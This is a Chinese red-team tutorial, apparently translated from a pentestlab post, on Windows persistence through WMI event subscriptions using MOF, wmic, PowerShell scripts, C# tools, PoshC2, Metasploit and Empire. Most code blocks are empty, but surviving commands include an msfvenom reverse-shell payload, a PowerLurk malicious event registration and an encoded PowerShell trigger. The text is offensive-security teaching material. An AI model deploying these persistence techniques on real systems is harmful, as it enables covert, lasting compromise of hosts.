持久性-WMI事件订阅
Windows Management Instrumentation (WMI) 使系统管理员能够在本地和远程执行任务。从红队的角度来看,WMI 可用于执行多种活动,例如横向移动、持久性、态势感知、代码执行以及作为命令和控制(C2)。WMI 是几乎所有 Windows 操作系统(Windows 98-Windows 10)中都存在的 Windows 的一部分,这一事实使这些攻击性活动远离蓝队的雷达。
通常,通过 WMI 事件订阅的持久性需要创建以下三个类,它们用于存储有效负载或任意命令,指定将触发有效负载的事件并将两个类(__EventConsumer &__EventFilter)关联起来,以便执行和触发绑定一起。
- __EventFilter // 触发器(新进程、登录失败等)
- EventConsumer // 执行动作(执行有效载荷等)
- __FilterToConsumerBinding // 绑定过滤器和消费者类
这种技术的实现不需要任何工具包,因为 Windows 有一个可以与 WMI (wmic) 交互的实用程序,并且也可以利用 PowerShell。然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本和 C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。应该注意的是,WMI 事件作为 SYSTEM 运行,在重新启动后持续存在,并且需要管理员级别的权限才能使用此技术。
MOF
托管对象格式 (MOF) 是用于描述 CIM(通用信息模型)类的语言。MOF 文件通常包含语句。编译文件时添加到 WMI 存储库 (OBJECTS.DATA) 的类和类实例(mofcomp.exe 可以编译 MOF 文件,它是 Windows 的一部分)。MOF 文件的内容如下所示:
1 |
|
上面的 MOF 文件会在系统上创建 notepad.exe 进程时执行 cmd.exe。MOF 文件可以通过执行以下命令部署到 WMI 存储库中:
1 |
|
或者,Metasploit 框架还具有生成恶意 MOF 文件的能力。从交互式 ruby 控制台执行以下命令将生成 MOF。
1 |
|
Microsoft 实用程序“ mofcomp.exe/ ”可以编译 MOF 文件。该文件将自动存储在 WMI 存储库中,并且恶意负载/命令将自动执行。
mofcomp.exe ./Metasploit.mof
在这种情况下,payload 是通过 Metasploit “ web_delivery/ ”模块使用 regsvr32 方法远程获取的。编译 MOF 文件后,立即生成了一个 Meterpreter 会话。
尽管一些 APT 的小组使用 MOF 文件作为 dropper 以实现 WMI 的持久性,但不建议将其作为一种方法。通过 WMI 事件订阅的持久性可以通过使用常见的 Microsoft 实用程序来实现,因此无需将文件放入磁盘。
Command Prompt
由于所有 Windows 操作系统都包含命令行实用程序 (wmic),因此可以通过命令提示符执行与 WMI 的交互。执行以下命令将在“ root/subscription ”的名称空间中创建三个事件。每次 Windows 启动时,任意有效负载将在 60 秒内执行。
1 |
|
每次重启后,可执行文件将在 60 秒内返回 Meterpreter 会话。
PowerShell
PowerShell 包含可以查询 WMI 对象并将信息检索回控制台的 cmdlet。以下命令可用于验证是否已创建任意事件以及恶意负载/命令是否存储在 WMI 存储库中。
1 |
|
也可以通过 PowerShell 直接实现此技术。以下脚本块将在每次 Windows 启动后的 5 分钟内执行任意可执行文件“ pentestlab.exe ”。/
1 |
|
1 |
|
1 |
|
可以执行以下命令来执行清理并删除创建的 WMI 对象。
1 |
|
1 |
|
PowerPunch是 PowerShell 脚本的集合,其中包含用于通过 WMI 进行持久性的 PowerShell 脚本。然而,该脚本需要将Invoke-MetasploitPayload加载到内存中,并且负载将从远程位置下载。可以配置Metasploit 框架“ web_delivery ”模块来托管基于 PowerShell 的有效负载。
1 |
|
以下命令将注册 WMI 事件订阅,并将存储将在启动期间执行的命令,以创建无文件持久性。
1 |
|
有效负载将在启动期间传递到目标主机上。
Wmi -Persistence是一个简单的 PowerShell 脚本,支持以下触发器:启动、登录、间隔和定时。它包含三个功能,用于安装、查看和删除已创建的 WMI 事件。
1 |
|
“***启动/***”触发器默认会在启动后五分钟内执行任意有效载荷。
WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内从远程位置执行基于 PowerShell 的有效负载。
1 |
|
该脚本包含一个查看 WMI 对象的函数,以确保已正确创建任意类。
Check-WMI
下次重新启动 5 分钟后,有效负载将被传递,并且将与目标主机建立 Meterpreter 会话。
Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便从远程服务器运行任意脚本。
./WMI-Persistence
“ Get-WMIObject ” cmdlet 将确保已创建事件过滤器,因为脚本不提供任何控制台输出。
1 |
|
Metasploit 框架可用于托管 scriptlet 并获取会话。然而,其他命令和控制框架(例如 PoshC2)具有类似的功能,并且可以捕获 regsvr32 有效负载。
PowerLurk是另一个支持五个触发器的 PowerShell 脚本。它们是:InsertUSB、UserLogon、Timed、Interval和ProcessStart。该脚本使用 WMI 存储库来存储恶意命令,该命令将执行任意脚本、可执行文件或任何其他带有参数的命令。以下函数将检索所有活动的 WMI 事件对象。
Get-WmiEvent
执行以下命令将创建一个任意事件订阅,该订阅将在 Windows 登录期间永久执行恶意负载。
Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any
C#
Dominic Chell开发了一个名为WMIPersist的 C# 工具,它可以直接用作受感染主机上的可执行文件或通过 Cobalt Strike 使用。该工具将注册一个事件,该事件将在系统上创建目标进程时执行 base64 VBS 有效负载。
Metasploit 实用程序“ msfvenom ”可以生成所需的有效负载,但也可以使用 任何其他工具,例如unicorn 。
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=4444
SharpShooter可用于通过使用先前生成的 shellcode 原始文件生成 VBS 格式的无阶段负载。
1 |
|
有效负载可以嵌入到 WMIPersist 工具中,并且 csc.exe 实用程序(.NET 框架的一部分)可以编译源代码,以便将其转换为可执行文件。
1 |
|
在目标主机上运行可执行文件或通过 Cobalt Strike(execute-assembly选项)将创建事件过滤器、事件使用者和订阅。
从 PowerShell 控制台执行以下命令将验证有效负载是否存储在“ __EventConsumer** ”中并且“ **__EventFilter ”已创建。
1 |
|
当 notepad.exe 进程启动时,payload 将被执行并打开通信通道。默认情况下,此工具使用记事本,这是一个常见的 Windows 应用程序,但可以修改代码以针对任何其他常见进程,例如 word.exe、outlook.exe、excel.exe、calc.exe,具体取决于从主机收集的信息在态势感知期间。Metasploit 模块“ multi/handler ”或任何其他 C2 可用于捕获会话。
PoshC2
PoshC2是一个基于 PowerShell 的命令和控制框架,但支持 C# 植入和模块,以在红队参与期间规避 EDR 产品。有一个 PowerShell 模块可以通过在特定时间执行基于 64 编码的有效负载,在目标主机上部署 WMI 事件订阅的持久性技术。
Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11
当命令执行时,将创建 WMI 事件,并自动将修改的 WMI 对象的结果返回到控制台屏幕上以供验证。
新植入物将在设置时连接回 C2 服务器。
Metasploit
Metasploit 框架包含一个通过 WMI 在目标系统上执行持久性的模块。该模块支持不同的选项,可用于触发要在系统上执行的任意有效负载。默认情况下,配置为在系统上创建特定事件 ID (4625) 时执行有效负载。支持的其他选项包括在登录期间、创建特定进程后、特定时间段后等执行有效负载。
1 |
|
该模块将提供所需的命令,该命令可用于使用错误密码通过 SMB 登录主机,以生成指定的失败登录请求。当命令执行时,将生成失败的登录事件,该事件将触发有效负载并打开一个 Meterpreter 会话。
smbclient ////10.0.0.2//C$ -U pentestlab password
在 vanilla Windows 10 版本中,系统会记录登录/注销期间的成功和失败尝试。
1 |
|
Empire
PowerShell Empire 有两个模块可以在 WMI 上建立持久性。以下模块可以在特定的每日时间、登录失败期间和启动时 5 分钟内执行有效负载。
1 |
|
与 Metasploit 模块类似,当使用“ FailedLogon ”选项时,可以使用失败的 SMB 连接来触发基于 PowerShell 的植入。默认情况下,此选项会将两个连接返回到命令和控制服务器。
“ wmi_updater ” 模块能够从远程位置获取有效负载,而不是将其存储在 WMI 存储库中。它将注册为“ AutoUpdater ”,并且可以在启动时或一天中的特定时间设置触发器。
1 |
|
工具包
下表显示了红队可以使用的工具,以实现 WMI 事件订阅的持久性技术以及每个工具的可用触发器选项。
Metasploit | Ruby | Failed Logon, Process, Startup, Timed |
---|---|---|
Empire | PowerShell | Failed Logon, Startup, Timed |
SharpSploit | C# | Process |
WMIPersist | C# | Process |
PoshC2 | Python3 | Timed |
PowerPunch | PowerShell | Logon, Startup |
Wmi-Persistence | PowerShell | Logon, Startup, Interval, Timed |
PowerLurk | PowerShell | USB, Logon, Process, Interval, Timed |
WMI-Persistence | PowerShell | Up-time |
WMILogonBackdoor | PowerShell | Timed, Interval |
WMIBackdoor | PowerShell | Timed, Interval |
WMI-Persistence | PowerShell | Timed |
参考:https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!